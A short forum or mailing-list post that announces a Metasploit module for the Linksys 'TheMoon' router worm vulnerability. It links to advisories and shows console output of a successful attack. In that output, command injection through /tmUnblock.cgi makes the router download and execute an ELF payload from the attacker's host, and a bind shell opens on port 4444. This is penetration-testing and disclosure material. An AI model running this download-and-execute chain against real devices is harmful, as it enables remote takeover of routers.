Linksys moon exploit

Hey guys,

 here you find a module for the linksys moon worm:

https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633
http://packetstormsecurity.com/files/125253/linksyseseries-exec.txt
http://packetstormsecurity.com/files/125252/Linksys-Worm-Remote-Root.html

The module uses the command injection to download and execute a MIPS payload.

```
Payload options (linux/mipsle/shell_bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  192.168.178.2    no        The target address


Exploit target:

   Id  Name
   --  ----
   1   Linux mipsel Payload


msf exploit(linksys_themoon_exec) > exploit
[*] Exploit running as background job.

[*] 192.168.178.2:80 - Trying to access the vulnerable url
[*] Started bind handler
[+] 192.168.178.2:80 - Successfully accessed /tmUnblock.cgi
msf exploit(linksys_themoon_exec) > [*] 192.168.178.2:80 - Starting up our web service on http://192.168.178.59:8080/UsmvFzsPkHjK ...
[*] Using URL: http://0.0.0.0:8080/UsmvFzsPkHjK
[*]  Local IP: http://192.168.178.59:8080/UsmvFzsPkHjK
[*] 192.168.178.2:80 - Asking the Linksys device to download and execute http://192.168.178.59:8080/UsmvFzsPkHjK
[*] 192.168.178.2:80 - Sending the payload to the server...
[*] 192.168.178.2:80 - Waiting for the victim to request the ELF payload...
[*] 192.168.178.2:80 - Asking the Linksys device to chmod UsmvFzsPkHjK
[*] 192.168.178.2:80 - Asking the Linksys device to execute UsmvFzsPkHjK
[*] Command shell session 1 opened (192.168.178.59:55699 -> 192.168.178.2:4444) at 2014-02-18 19:52:21 +0100
[+] Deleted /tmp/voiadwid
```
Best,
Mike